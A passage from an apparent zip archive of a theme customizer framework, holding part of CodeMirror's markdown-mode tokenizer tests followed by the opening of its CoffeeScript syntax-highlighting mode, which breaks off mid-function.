      "list1" : "override-list1",
      "list2" : "override-list2",
      "list3" : "override-list3",
      "hr" : "override-hr",
      "image" : "override-image",
      "linkInline" : "override-link-inline",
      "linkEmail" : "override-link-email",
      "linkText" : "override-link-text",
      "linkHref" : "override-link-href",
      "em" : "override-em",
      "strong" : "override-strong",
      "strikethrough" : "override-strikethrough"
  }});
  function TokenTypeOverrideTest(name) { test.mode(name, modeOverrideClasses, Array.prototype.slice.call(arguments, 1)); }
  var modeFormattingOverride = CodeMirror.getMode({tabsize: 4}, {
    name: "markdown",
    highlightFormatting: true,
    tokenTypeOverrides: {
      "formatting" : "override-formatting"
  }});
  function FormatTokenTypeOverrideTest(name) { test.mode(name, modeFormattingOverride, Array.prototype.slice.call(arguments, 1)); }


  FT("formatting_emAsterisk",
     "[em&formatting&formatting-em *][em foo][em&formatting&formatting-em *]");

  FT("formatting_emUnderscore",
     "[em&formatting&formatting-em _][em foo][em&formatting&formatting-em _]");

  FT("formatting_strongAsterisk",
     "[strong&formatting&formatting-strong **][strong foo][strong&formatting&formatting-strong **]");

  FT("formatting_strongUnderscore",
     "[strong&formatting&formatting-strong __][strong foo][strong&formatting&formatting-strong __]");

  FT("formatting_codeBackticks",
     "[comment&formatting&formatting-code `][comment foo][comment&formatting&formatting-code `]");

  FT("formatting_doubleBackticks",
     "[comment&formatting&formatting-code ``][comment foo ` bar][comment&formatting&formatting-code ``]");

  FT("formatting_atxHeader",
     "[header&header-1&formatting&formatting-header&formatting-header-1 # ][header&header-1 foo # bar ][header&header-1&formatting&formatting-header&formatting-header-1 #]");

  FT("formatting_setextHeader",
     "foo",
     "[header&header-1&formatting&formatting-header&formatting-header-1 =]");

  FT("formatting_blockquote",
     "[quote&quote-1&formatting&formatting-quote&formatting-quote-1 > ][quote&quote-1 foo]");

  FT("formatting_list",
     "[variable-2&formatting&formatting-list&formatting-list-ul - ][variable-2 foo]");
  FT("formatting_list",
     "[variable-2&formatting&formatting-list&formatting-list-ol 1. ][variable-2 foo]");

  FT("formatting_link",
     "[link&formatting&formatting-link [][link foo][link&formatting&formatting-link ]]][string&formatting&formatting-link-string&url (][string&url http://example.com/][string&formatting&formatting-link-string&url )]");

  FT("formatting_linkReference",
     "[link&formatting&formatting-link [][link foo][link&formatting&formatting-link ]]][string&formatting&formatting-link-string&url [][string&url bar][string&formatting&formatting-link-string&url ]]]",
     "[link&formatting&formatting-link [][link bar][link&formatting&formatting-link ]]:] [string&url http://example.com/]");

  FT("formatting_linkWeb",
     "[link&formatting&formatting-link <][link http://example.com/][link&formatting&formatting-link >]");

  FT("formatting_linkEmail",
     "[link&formatting&formatting-link <][link user@example.com][link&formatting&formatting-link >]");

  FT("formatting_escape",
     "[formatting-escape \\*]");

  MT("plainText",
     "foo");

  // Don't style single trailing space
  MT("trailingSpace1",
     "foo ");

  // Two or more trailing spaces should be styled with line break character
  MT("trailingSpace2",
     "foo[trailing-space-a  ][trailing-space-new-line  ]");

  MT("trailingSpace3",
     "foo[trailing-space-a  ][trailing-space-b  ][trailing-space-new-line  ]");

  MT("trailingSpace4",
     "foo[trailing-space-a  ][trailing-space-b  ][trailing-space-a  ][trailing-space-new-line  ]");

  // Code blocks using 4 spaces (regardless of CodeMirror.tabSize value)
  MT("codeBlocksUsing4Spaces",
     "    [comment foo]");

  // Code blocks using 4 spaces with internal indentation
  MT("codeBlocksUsing4SpacesIndentation",
     "    [comment bar]",
     "        [comment hello]",
     "            [comment world]",
     "    [comment foo]",
     "bar");

  // Code blocks should end even after extra indented lines
  MT("codeBlocksWithTrailingIndentedLine",
     "    [comment foo]",
     "        [comment bar]",
     "    [comment baz]",
     "    ",
     "hello");

  // Code blocks using 1 tab (regardless of CodeMirror.indentWithTabs value)
  MT("codeBlocksUsing1Tab",
     "\t[comment foo]");

  // No code blocks directly after paragraph
  // http://spec.commonmark.org/0.19/#example-65
  MT("noCodeBlocksAfterParagraph",
     "Foo",
     "    Bar");

  // Inline code using backticks
  MT("inlineCodeUsingBackticks",
     "foo [comment `bar`]");

  // Block code using single backtick (shouldn't work)
  MT("blockCodeSingleBacktick",
     "[comment `]",
     "[comment foo]",
     "[comment `]");

  // Unclosed backticks
  // Instead of simply marking as CODE, it would be nice to have an
  // incomplete flag for CODE, that is styled slightly different.
  MT("unclosedBackticks",
     "foo [comment `bar]");

  // Per documentation: "To include a literal backtick character within a
  // code span, you can use multiple backticks as the opening and closing
  // delimiters"
  MT("doubleBackticks",
     "[comment ``foo ` bar``]");

  // Tests based on Dingus
  // http://daringfireball.net/projects/markdown/dingus
  //
  // Multiple backticks within an inline code block
  MT("consecutiveBackticks",
     "[comment `foo```bar`]");

  // Multiple backticks within an inline code block with a second code block
  MT("consecutiveBackticks",
     "[comment `foo```bar`] hello [comment `world`]");

  // Unclosed with several different groups of backticks
  MT("unclosedBackticks",
     "[comment ``foo ``` bar` hello]");

  // Closed with several different groups of backticks
  MT("closedBackticks",
     "[comment ``foo ``` bar` hello``] world");

  // atx headers
  // http://daringfireball.net/projects/markdown/syntax#header

  MT("atxH1",
     "[header&header-1 # foo]");

  MT("atxH2",
     "[header&header-2 ## foo]");

  MT("atxH3",
     "[header&header-3 ### foo]");

  MT("atxH4",
     "[header&header-4 #### foo]");

  MT("atxH5",
     "[header&header-5 ##### foo]");

  MT("atxH6",
     "[header&header-6 ###### foo]");

  // http://spec.commonmark.org/0.19/#example-24
  MT("noAtxH7",
     "####### foo");

  // http://spec.commonmark.org/0.19/#example-25
  MT("noAtxH1WithoutSpace",
     "#5 bolt");

  // CommonMark requires a space after # but most parsers don't
  AtxNoSpaceTest("atxNoSpaceAllowed_H1NoSpace",
     "[header&header-1 #foo]");

  AtxNoSpaceTest("atxNoSpaceAllowed_H4NoSpace",
     "[header&header-4 ####foo]");

  AtxNoSpaceTest("atxNoSpaceAllowed_H1Space",
     "[header&header-1 # foo]");

  // Inline styles should be parsed inside headers
  MT("atxH1inline",
     "[header&header-1 # foo ][header&header-1&em *bar*]");

  // Setext headers - H1, H2
  // Per documentation, "Any number of underlining =’s or -’s will work."
  // http://daringfireball.net/projects/markdown/syntax#header
  // Ideally, the text would be marked as `header` as well, but this is
  // not really feasible at the moment. So, instead, we're testing against
  // what works today, to avoid any regressions.
  //
  // Check if single underlining = works
  MT("setextH1",
     "foo",
     "[header&header-1 =]");

  // Check if 3+ ='s work
  MT("setextH1",
     "foo",
     "[header&header-1 ===]");

  // Check if single underlining - works
  MT("setextH2",
     "foo",
     "[header&header-2 -]");

  // Check if 3+ -'s work
  MT("setextH2",
     "foo",
     "[header&header-2 ---]");

  // http://spec.commonmark.org/0.19/#example-45
  MT("setextH2AllowSpaces",
     "foo",
     "   [header&header-2 ----      ]");

  // http://spec.commonmark.org/0.19/#example-44
  MT("noSetextAfterIndentedCodeBlock",
     "     [comment foo]",
     "[hr ---]");

  // http://spec.commonmark.org/0.19/#example-51
  MT("noSetextAfterQuote",
     "[quote&quote-1 > foo]",
     "[hr ---]");

  MT("noSetextAfterList",
     "[variable-2 - foo]",
     "[hr ---]");

  // Single-line blockquote with trailing space
  MT("blockquoteSpace",
     "[quote&quote-1 > foo]");

  // Single-line blockquote
  MT("blockquoteNoSpace",
     "[quote&quote-1 >foo]");

  // No blank line before blockquote
  MT("blockquoteNoBlankLine",
     "foo",
     "[quote&quote-1 > bar]");

  // Nested blockquote
  MT("blockquoteSpace",
     "[quote&quote-1 > foo]",
     "[quote&quote-1 >][quote&quote-2 > foo]",
     "[quote&quote-1 >][quote&quote-2 >][quote&quote-3 > foo]");

  // Single-line blockquote followed by normal paragraph
  MT("blockquoteThenParagraph",
     "[quote&quote-1 >foo]",
     "",
     "bar");

  // Multi-line blockquote (lazy mode)
  MT("multiBlockquoteLazy",
     "[quote&quote-1 >foo]",
     "[quote&quote-1 bar]");

  // Multi-line blockquote followed by normal paragraph (lazy mode)
  MT("multiBlockquoteLazyThenParagraph",
     "[quote&quote-1 >foo]",
     "[quote&quote-1 bar]",
     "",
     "hello");

  // Multi-line blockquote (non-lazy mode)
  MT("multiBlockquote",
     "[quote&quote-1 >foo]",
     "[quote&quote-1 >bar]");

  // Multi-line blockquote followed by normal paragraph (non-lazy mode)
  MT("multiBlockquoteThenParagraph",
     "[quote&quote-1 >foo]",
     "[quote&quote-1 >bar]",
     "",
     "hello");

  // Header with leading space after continued blockquote (#3287, negative indentation)
  MT("headerAfterContinuedBlockquote",
     "[quote&quote-1 > foo]",
     "[quote&quote-1 bar]",
     "",
     " [header&header-1 # hello]");

  // Check list types

  MT("listAsterisk",
     "foo",
     "bar",
     "",
     "[variable-2 * foo]",
     "[variable-2 * bar]");

  MT("listPlus",
     "foo",
     "bar",
     "",
     "[variable-2 + foo]",
     "[variable-2 + bar]");

  MT("listDash",
     "foo",
     "bar",
     "",
     "[variable-2 - foo]",
     "[variable-2 - bar]");

  MT("listNumber",
     "foo",
     "bar",
     "",
     "[variable-2 1. foo]",
     "[variable-2 2. bar]");

  // Lists require a preceding blank line (per Dingus)
  MT("listBogus",
     "foo",
     "1. bar",
     "2. hello");

  // List after hr
  MT("listAfterHr",
     "[hr ---]",
     "[variable-2 - bar]");

  // List after header
  MT("listAfterHeader",
     "[header&header-1 # foo]",
     "[variable-2 - bar]");

  // hr after list
  MT("hrAfterList",
     "[variable-2 - foo]",
     "[hr -----]");

  // Formatting in lists (*)
  MT("listAsteriskFormatting",
     "[variable-2 * ][variable-2&em *foo*][variable-2  bar]",
     "[variable-2 * ][variable-2&strong **foo**][variable-2  bar]",
     "[variable-2 * ][variable-2&strong **][variable-2&em&strong *foo**][variable-2&em *][variable-2  bar]",
     "[variable-2 * ][variable-2&comment `foo`][variable-2  bar]");

  // Formatting in lists (+)
  MT("listPlusFormatting",
     "[variable-2 + ][variable-2&em *foo*][variable-2  bar]",
     "[variable-2 + ][variable-2&strong **foo**][variable-2  bar]",
     "[variable-2 + ][variable-2&strong **][variable-2&em&strong *foo**][variable-2&em *][variable-2  bar]",
     "[variable-2 + ][variable-2&comment `foo`][variable-2  bar]");

  // Formatting in lists (-)
  MT("listDashFormatting",
     "[variable-2 - ][variable-2&em *foo*][variable-2  bar]",
     "[variable-2 - ][variable-2&strong **foo**][variable-2  bar]",
     "[variable-2 - ][variable-2&strong **][variable-2&em&strong *foo**][variable-2&em *][variable-2  bar]",
     "[variable-2 - ][variable-2&comment `foo`][variable-2  bar]");

  // Formatting in lists (1.)
  MT("listNumberFormatting",
     "[variable-2 1. ][variable-2&em *foo*][variable-2  bar]",
     "[variable-2 2. ][variable-2&strong **foo**][variable-2  bar]",
     "[variable-2 3. ][variable-2&strong **][variable-2&em&strong *foo**][variable-2&em *][variable-2  bar]",
     "[variable-2 4. ][variable-2&comment `foo`][variable-2  bar]");

  // Paragraph lists
  MT("listParagraph",
     "[variable-2 * foo]",
     "",
     "[variable-2 * bar]");

  // Multi-paragraph lists
  //
  // 4 spaces
  MT("listMultiParagraph",
     "[variable-2 * foo]",
     "",
     "[variable-2 * bar]",
     "",
     "    [variable-2 hello]");

  // 4 spaces, extra blank lines (should still be list, per Dingus)
  MT("listMultiParagraphExtra",
     "[variable-2 * foo]",
     "",
     "[variable-2 * bar]",
     "",
     "",
     "    [variable-2 hello]");

  // 4 spaces, plus 1 space (should still be list, per Dingus)
  MT("listMultiParagraphExtraSpace",
     "[variable-2 * foo]",
     "",
     "[variable-2 * bar]",
     "",
     "     [variable-2 hello]",
     "",
     "    [variable-2 world]");

  // 1 tab
  MT("listTab",
     "[variable-2 * foo]",
     "",
     "[variable-2 * bar]",
     "",
     "\t[variable-2 hello]");

  // No indent
  MT("listNoIndent",
     "[variable-2 * foo]",
     "",
     "[variable-2 * bar]",
     "",
     "hello");

  // Blockquote
  MT("blockquote",
     "[variable-2 * foo]",
     "",
     "[variable-2 * bar]",
     "",
     "    [variable-2&quote&quote-1 > hello]");

  // Code block
  MT("blockquoteCode",
     "[variable-2 * foo]",
     "",
     "[variable-2 * bar]",
     "",
     "        [comment > hello]",
     "",
     "    [variable-2 world]");

  // Code block followed by text
  MT("blockquoteCodeText",
     "[variable-2 * foo]",
     "",
     "    [variable-2 bar]",
     "",
     "        [comment hello]",
     "",
     "    [variable-2 world]");

  // Nested list

  MT("listAsteriskNested",
     "[variable-2 * foo]",
     "",
     "    [variable-3 * bar]");

  MT("listPlusNested",
     "[variable-2 + foo]",
     "",
     "    [variable-3 + bar]");

  MT("listDashNested",
     "[variable-2 - foo]",
     "",
     "    [variable-3 - bar]");

  MT("listNumberNested",
     "[variable-2 1. foo]",
     "",
     "    [variable-3 2. bar]");

  MT("listMixed",
     "[variable-2 * foo]",
     "",
     "    [variable-3 + bar]",
     "",
     "        [keyword - hello]",
     "",
     "            [variable-2 1. world]");

  MT("listBlockquote",
     "[variable-2 * foo]",
     "",
     "    [variable-3 + bar]",
     "",
     "        [quote&quote-1&variable-3 > hello]");

  MT("listCode",
     "[variable-2 * foo]",
     "",
     "    [variable-3 + bar]",
     "",
     "            [comment hello]");

  // Code with internal indentation
  MT("listCodeIndentation",
     "[variable-2 * foo]",
     "",
     "        [comment bar]",
     "            [comment hello]",
     "                [comment world]",
     "        [comment foo]",
     "    [variable-2 bar]");

  // List nesting edge cases
  MT("listNested",
    "[variable-2 * foo]",
    "",
    "    [variable-3 * bar]",
    "",
    "       [variable-3 hello]"
  );
  MT("listNested",
    "[variable-2 * foo]",
    "",
    "    [variable-3 * bar]",
    "",
    "      [keyword * foo]"
  );

  // Code followed by text
  MT("listCodeText",
     "[variable-2 * foo]",
     "",
     "        [comment bar]",
     "",
     "hello");

  // Following tests directly from official Markdown documentation
  // http://daringfireball.net/projects/markdown/syntax#hr

  MT("hrSpace",
     "[hr * * *]");

  MT("hr",
     "[hr ***]");

  MT("hrLong",
     "[hr *****]");

  MT("hrSpaceDash",
     "[hr - - -]");

  MT("hrDashLong",
     "[hr ---------------------------------------]");

  // Inline link with title
  MT("linkTitle",
     "[link [[foo]]][string&url (http://example.com/ \"bar\")] hello");

  // Inline link without title
  MT("linkNoTitle",
     "[link [[foo]]][string&url (http://example.com/)] bar");

  // Inline link with image
  MT("linkImage",
     "[link [[][tag ![[foo]]][string&url (http://example.com/)][link ]]][string&url (http://example.com/)] bar");

  // Inline link with Em
  MT("linkEm",
     "[link [[][link&em *foo*][link ]]][string&url (http://example.com/)] bar");

  // Inline link with Strong
  MT("linkStrong",
     "[link [[][link&strong **foo**][link ]]][string&url (http://example.com/)] bar");

  // Inline link with EmStrong
  MT("linkEmStrong",
     "[link [[][link&strong **][link&em&strong *foo**][link&em *][link ]]][string&url (http://example.com/)] bar");

  // Image with title
  MT("imageTitle",
     "[tag ![[foo]]][string&url (http://example.com/ \"bar\")] hello");

  // Image without title
  MT("imageNoTitle",
     "[tag ![[foo]]][string&url (http://example.com/)] bar");

  // Image with asterisks
  MT("imageAsterisks",
     "[tag ![[*foo*]]][string&url (http://example.com/)] bar");

  // Not a link. Should be normal text due to square brackets being used
  // regularly in text, especially in quoted material, and no space is allowed
  // between square brackets and parentheses (per Dingus).
  MT("notALink",
     "[[foo]] (bar)");

  // Reference-style links
  MT("linkReference",
     "[link [[foo]]][string&url [[bar]]] hello");

  // Reference-style links with Em
  MT("linkReferenceEm",
     "[link [[][link&em *foo*][link ]]][string&url [[bar]]] hello");

  // Reference-style links with Strong
  MT("linkReferenceStrong",
     "[link [[][link&strong **foo**][link ]]][string&url [[bar]]] hello");

  // Reference-style links with EmStrong
  MT("linkReferenceEmStrong",
     "[link [[][link&strong **][link&em&strong *foo**][link&em *][link ]]][string&url [[bar]]] hello");

  // Reference-style links with optional space separator (per docuentation)
  // "You can optionally use a space to separate the sets of brackets"
  MT("linkReferenceSpace",
     "[link [[foo]]] [string&url [[bar]]] hello");

  // Should only allow a single space ("...use *a* space...")
  MT("linkReferenceDoubleSpace",
     "[[foo]]  [[bar]] hello");

  // Reference-style links with implicit link name
  MT("linkImplicit",
     "[link [[foo]]][string&url [[]]] hello");

  // @todo It would be nice if, at some point, the document was actually
  // checked to see if the referenced link exists

  // Link label, for reference-style links (taken from documentation)

  MT("labelNoTitle",
     "[link [[foo]]:] [string&url http://example.com/]");

  MT("labelIndented",
     "   [link [[foo]]:] [string&url http://example.com/]");

  MT("labelSpaceTitle",
     "[link [[foo bar]]:] [string&url http://example.com/ \"hello\"]");

  MT("labelDoubleTitle",
     "[link [[foo bar]]:] [string&url http://example.com/ \"hello\"] \"world\"");

  MT("labelTitleDoubleQuotes",
     "[link [[foo]]:] [string&url http://example.com/  \"bar\"]");

  MT("labelTitleSingleQuotes",
     "[link [[foo]]:] [string&url http://example.com/  'bar']");

  MT("labelTitleParenthese",
     "[link [[foo]]:] [string&url http://example.com/  (bar)]");

  MT("labelTitleInvalid",
     "[link [[foo]]:] [string&url http://example.com/] bar");

  MT("labelLinkAngleBrackets",
     "[link [[foo]]:] [string&url <http://example.com/>  \"bar\"]");

  MT("labelTitleNextDoubleQuotes",
     "[link [[foo]]:] [string&url http://example.com/]",
     "[string \"bar\"] hello");

  MT("labelTitleNextSingleQuotes",
     "[link [[foo]]:] [string&url http://example.com/]",
     "[string 'bar'] hello");

  MT("labelTitleNextParenthese",
     "[link [[foo]]:] [string&url http://example.com/]",
     "[string (bar)] hello");

  MT("labelTitleNextMixed",
     "[link [[foo]]:] [string&url http://example.com/]",
     "(bar\" hello");

  MT("linkWeb",
     "[link <http://example.com/>] foo");

  MT("linkWebDouble",
     "[link <http://example.com/>] foo [link <http://example.com/>]");

  MT("linkEmail",
     "[link <user@example.com>] foo");

  MT("linkEmailDouble",
     "[link <user@example.com>] foo [link <user@example.com>]");

  MT("emAsterisk",
     "[em *foo*] bar");

  MT("emUnderscore",
     "[em _foo_] bar");

  MT("emInWordAsterisk",
     "foo[em *bar*]hello");

  MT("emInWordUnderscore",
     "foo[em _bar_]hello");

  // Per documentation: "...surround an * or _ with spaces, it’ll be
  // treated as a literal asterisk or underscore."

  MT("emEscapedBySpaceIn",
     "foo [em _bar _ hello_] world");

  MT("emEscapedBySpaceOut",
     "foo _ bar[em _hello_]world");

  MT("emEscapedByNewline",
     "foo",
     "_ bar[em _hello_]world");

  // Unclosed emphasis characters
  // Instead of simply marking as EM / STRONG, it would be nice to have an
  // incomplete flag for EM and STRONG, that is styled slightly different.
  MT("emIncompleteAsterisk",
     "foo [em *bar]");

  MT("emIncompleteUnderscore",
     "foo [em _bar]");

  MT("strongAsterisk",
     "[strong **foo**] bar");

  MT("strongUnderscore",
     "[strong __foo__] bar");

  MT("emStrongAsterisk",
     "[em *foo][em&strong **bar*][strong hello**] world");

  MT("emStrongUnderscore",
     "[em _foo][em&strong __bar_][strong hello__] world");

  // "...same character must be used to open and close an emphasis span.""
  MT("emStrongMixed",
     "[em _foo][em&strong **bar*hello__ world]");

  MT("emStrongMixed",
     "[em *foo][em&strong __bar_hello** world]");

  // These characters should be escaped:
  // \   backslash
  // `   backtick
  // *   asterisk
  // _   underscore
  // {}  curly braces
  // []  square brackets
  // ()  parentheses
  // #   hash mark
  // +   plus sign
  // -   minus sign (hyphen)
  // .   dot
  // !   exclamation mark

  MT("escapeBacktick",
     "foo \\`bar\\`");

  MT("doubleEscapeBacktick",
     "foo \\\\[comment `bar\\\\`]");

  MT("escapeAsterisk",
     "foo \\*bar\\*");

  MT("doubleEscapeAsterisk",
     "foo \\\\[em *bar\\\\*]");

  MT("escapeUnderscore",
     "foo \\_bar\\_");

  MT("doubleEscapeUnderscore",
     "foo \\\\[em _bar\\\\_]");

  MT("escapeHash",
     "\\# foo");

  MT("doubleEscapeHash",
     "\\\\# foo");

  MT("escapeNewline",
     "\\",
     "[em *foo*]");

  // Class override tests
  TokenTypeOverrideTest("overrideHeader1",
    "[override-header&override-header-1 # Foo]");

  TokenTypeOverrideTest("overrideHeader2",
    "[override-header&override-header-2 ## Foo]");

  TokenTypeOverrideTest("overrideHeader3",
    "[override-header&override-header-3 ### Foo]");

  TokenTypeOverrideTest("overrideHeader4",
    "[override-header&override-header-4 #### Foo]");

  TokenTypeOverrideTest("overrideHeader5",
    "[override-header&override-header-5 ##### Foo]");

  TokenTypeOverrideTest("overrideHeader6",
    "[override-header&override-header-6 ###### Foo]");

  TokenTypeOverrideTest("overrideCode",
    "[override-code `foo`]");

  TokenTypeOverrideTest("overrideCodeBlock",
    "[override-code ```]",
    "[override-code foo]",
    "[override-code ```]");

  TokenTypeOverrideTest("overrideQuote",
    "[override-quote&override-quote-1 > foo]",
    "[override-quote&override-quote-1 > bar]");

  TokenTypeOverrideTest("overrideQuoteNested",
    "[override-quote&override-quote-1 > foo]",
    "[override-quote&override-quote-1 >][override-quote&override-quote-2 > bar]",
    "[override-quote&override-quote-1 >][override-quote&override-quote-2 >][override-quote&override-quote-3 > baz]");

  TokenTypeOverrideTest("overrideLists",
    "[override-list1 - foo]",
    "",
    "    [override-list2 + bar]",
    "",
    "        [override-list3 * baz]",
    "",
    "            [override-list1 1. qux]",
    "",
    "                [override-list2 - quux]");

  TokenTypeOverrideTest("overrideHr",
    "[override-hr * * *]");

  TokenTypeOverrideTest("overrideImage",
    "[override-image ![[foo]]][override-link-href&url (http://example.com/)]")

  TokenTypeOverrideTest("overrideLinkText",
    "[override-link-text [[foo]]][override-link-href&url (http://example.com)]");

  TokenTypeOverrideTest("overrideLinkEmailAndInline",
    "[override-link-email <][override-link-inline foo@example.com>]");

  TokenTypeOverrideTest("overrideEm",
    "[override-em *foo*]");

  TokenTypeOverrideTest("overrideStrong",
    "[override-strong **foo**]");

  TokenTypeOverrideTest("overrideStrikethrough",
    "[override-strikethrough ~~foo~~]");

  FormatTokenTypeOverrideTest("overrideFormatting",
    "[override-formatting-escape \\*]");

  // Tests to make sure GFM-specific things aren't getting through

  MT("taskList",
     "[variable-2 * [ ]] bar]");

  MT("noFencedCodeBlocks",
     "~~~",
     "foo",
     "~~~");

  FencedTest("fencedCodeBlocks",
     "[comment ```]",
     "[comment foo]",
     "[comment ```]",
     "bar");

  FencedTest("fencedCodeBlocksMultipleChars",
     "[comment `````]",
     "[comment foo]",
     "[comment ```]",
     "[comment foo]",
     "[comment `````]",
     "bar");

  FencedTest("fencedCodeBlocksTildes",
     "[comment ~~~]",
     "[comment foo]",
     "[comment ~~~]",
     "bar");

  FencedTest("fencedCodeBlocksTildesMultipleChars",
     "[comment ~~~~~]",
     "[comment ~~~]",
     "[comment foo]",
     "[comment ~~~~~]",
     "bar");

  FencedTest("fencedCodeBlocksMultipleChars",
     "[comment `````]",
     "[comment foo]",
     "[comment ```]",
     "[comment foo]",
     "[comment `````]",
     "bar");

  FencedTest("fencedCodeBlocksMixed",
     "[comment ~~~]",
     "[comment ```]",
     "[comment foo]",
     "[comment ~~~]",
     "bar");

  // Tests that require XML mode

  MT("xmlMode",
     "[tag&bracket <][tag div][tag&bracket >]",
     "*foo*",
     "[tag&bracket <][tag http://github.com][tag&bracket />]",
     "[tag&bracket </][tag div][tag&bracket >]",
     "[link <http://github.com/>]");

  MT("xmlModeWithMarkdownInside",
     "[tag&bracket <][tag div] [attribute markdown]=[string 1][tag&bracket >]",
     "[em *foo*]",
     "[link <http://github.com/>]",
     "[tag </div>]",
     "[link <http://github.com/>]",
     "[tag&bracket <][tag div][tag&bracket >]",
     "[tag&bracket </][tag div][tag&bracket >]");

})();
PK     0w\-X&  &  R  customizer/framework/assets/js/vendor/codemirror/mode/coffeescript/coffeescript.jsnu [        // CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: http://codemirror.net/LICENSE

/**
 * Link to the project's GitHub page:
 * https://github.com/pickhardt/coffeescript-codemirror-mode
 */
(function(mod) {
  if (typeof exports == "object" && typeof module == "object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) // AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
"use strict";

CodeMirror.defineMode("coffeescript", function(conf, parserConf) {
  var ERRORCLASS = "error";

  function wordRegexp(words) {
    return new RegExp("^((" + words.join(")|(") + "))\\b");
  }

  var operators = /^(?:->|=>|\+[+=]?|-[\-=]?|\*[\*=]?|\/[\/=]?|[=!]=|<[><]?=?|>>?=?|%=?|&=?|\|=?|\^=?|\~|!|\?|(or|and|\|\||&&|\?)=)/;
  var delimiters = /^(?:[()\[\]{},:`=;]|\.\.?\.?)/;
  var identifiers = /^[_A-Za-z$][_A-Za-z$0-9]*/;
  var atProp = /^@[_A-Za-z$][_A-Za-z$0-9]*/;

  var wordOperators = wordRegexp(["and", "or", "not",
                                  "is", "isnt", "in",
                                  "instanceof", "typeof"]);
  var indentKeywords = ["for", "while", "loop", "if", "unless", "else",
                        "switch", "try", "catch", "finally", "class"];
  var commonKeywords = ["break", "by", "continue", "debugger", "delete",
                        "do", "in", "of", "new", "return", "then",
                        "this", "@", "throw", "when", "until", "extends"];

  var keywords = wordRegexp(indentKeywords.concat(commonKeywords));

  indentKeywords = wordRegexp(indentKeywords);


  var stringPrefixes = /^('{3}|\"{3}|['\"])/;
  var regexPrefixes = /^(\/{3}|\/)/;
  var commonConstants = ["Infinity", "NaN", "undefined", "null", "true", "false", "on", "off", "yes", "no"];
  var constants = wordRegexp(commonConstants);

  // Tokenizers
  function tokenBase(stream, state) {
    // Handle scope changes
    if (stream.sol()) {
      if (state.scope.align === null) state.scope.align = false;
      var scopeOffset = state.scope.offset;
      if (stream.eatSpace()) {
        var lineOffset = stream.indentation();
        if (lineOffset > scopeOffset && state.scope.type == "coffee") {
          return "indent";
        } else if (lineOffset < scopeOffset) {
          return "dedent";
        }
        return null;
      } else {
        if (scopeOffset > 0) {
          dedent(stream, state);
        }
      }
    }
    if (stream.eatSpace()) {
      return null;
    }

    var ch = stream.peek();

    // Handle docco title comment (single line)
    if (stream.match("####")) {
      stream.skipToEnd();
      return "comment";
    }

    // Handle multi line comments
    if (stream.match("###")) {
      state.tokenize = longComment;
      return state.tokenize(stream, state);
    }

    // Single line comment
    if (ch === "#") {
      stream.skipToEnd();
      return "comment";
    }

    // Handle number literals
    if (stream.match(/^-?[0-9\.]/, false)) {
      var floatLiteral = false;
      // Floats
      if (stream.match(/^-?\d*\.\d+(e[\+\-]?\d+)?/i)) {
        floatLiteral = true;
      }
      if (stream.match(/^-?\d+\.\d*/)) {
        floatLiteral = true;
      }
      if (stream.match(/^-?\.\d+/)) {
        floatLiteral = true;
      }

      if (floatLiteral) {
        // prevent from getting extra . on 1..
        if (stream.peek() == "."){
          stream.backUp(1);
        }
        return "number";
      }
      // Integers
      var intLiteral = false;
      // Hex
      if (stream.match(/^-?0x[0-9a-f]+/i)) {
        intLiteral = true;
      }
      // Decimal
      if (stream.match(/^-?[1-9]\d*(e[\+\-]?\d+)?/)) {
        intLiteral = true;
      }
      // Zero by itself with no other piece of number.
      if (stream.match(/^-?0(?![\dx])/i)) {
        intLiteral = true;
      }
      if (intLiteral) {
        return "number";
      }
    }

    // Handle strings
    if (stream.match(stringPrefixes)) {
      state.tokenize = tokenFactory(stream.current(), false, "string");
      return state.tokenize(stream, state);
    }
    // Handle regex literals
    if (stream.match(regexPrefixes)) {
      if (stream.current() != "/" || stream.match(/^.*\//, false)) { // prevent highlight of division
        state.tokenize = tokenFactory(stream.current(), true, "string-2");
        return state.tokenize(stream, state);
      } else {
        stream.backUp(1);
      }
    }



    // Handle operators and delimiters
    if (stream.match(operators) || stream.match(wordOperators)) {
      return "operator";
    }
    if (stream.match(delimiters)) {
      return "punctuation";
    }

    if (stream.match(constants)) {
      return "atom";
    }

    if (stream.match(atProp) || state.prop && stream.match(identifiers)) {
      return "property";
    }

    if (stream.match(keywords)) {
      return "keyword";
    }

    if (stream.match(identifiers)) {
      return "variable";
    }

    // Handle non-detected items
    stream.next();
    return ERRORCLASS;
  }

  function tokenFactory(delimiter, singleline, outclass) {
    return function(stream, state) {
      while (!stream.eol()) {
        stream.eatWhile(/[^'"\/\\]/);
        if (stream.eat("\\")) {
          stream.next();
          if (singleline && stream.eol()) {
            return outclass;
          }
        } else if (stream.match(delimiter)) {
          state.tokenize = tokenBase;
          return outclass;
        } else {
          stream.eat(/['"\/]/);
        }
      }
      if (singleline) {
        if (parserConf.singleLineStringErrors) {
          outclass = ERRORCLASS;
        } else {
          state.tokenize = tokenBase;
        }
      }
      return outclass;
    };
  }

  function longComment(stream, state) {
    while (!stream.eol()) {
      stream.eatWhile(/[^#]/);
      if (stream.match("###")) {
        state.tokenize = tokenBase;
        break;
      }
      stream.eatWhile("#");
    }
    return "comment";
  }

  function indent(stream, state, type) {
    type = type || "coffee";
    var offset = 0, align = false, alignOffset = null;
    for (var scope = state.scope; scope; scope = scope.prev) {
      if (scope.type === "coffee" || scope.type == "}") {
        offset = scope.offset + conf.indentUnit;
        break;
      }
    }
    if (type !== "coffee") {
      align = null;
      alignOffset = stream.column() + stream.current().length;
    } else if (state.scope.align) {
      state.scope.align = false;
    }
    state.scope = {
      offset: offset,
      type: type,
      prev: state.scope,
      align: align,
      alignOffset: alignOffset
    };
  }

  function dedent(stream, state) {
    if (!state.scope.prev) return;
    if (state.scope.type === "coffee") {
      var _indent = stream.indentation();
      var matched = false;
      for (var scope = state.scope; scope; scope = scope.prev) {
        if (_indent === scope.offset) {
          matched = true;
          break;
        }
      }
      if (!matched) {
        return true;
      }
      while (state.scope.prev && state.scope.offset !== _indent) {
        state.scope = state.scope.prev;
      }
      return false;
    } else {
      state.scope = state.scope.prev;
      return false;
    }
  }

  function tokenLexer(stream, state) {
    var style = state.tokenize(stream, state);
    var current = stream.current();

    // Handle scope changes.
    if (current === "return") {
      state.dedent = true;
    }
    if (((current === "->" || current === "=>") && stream.eol())
        || style === "indent") {
      indent(stream, state);
    }
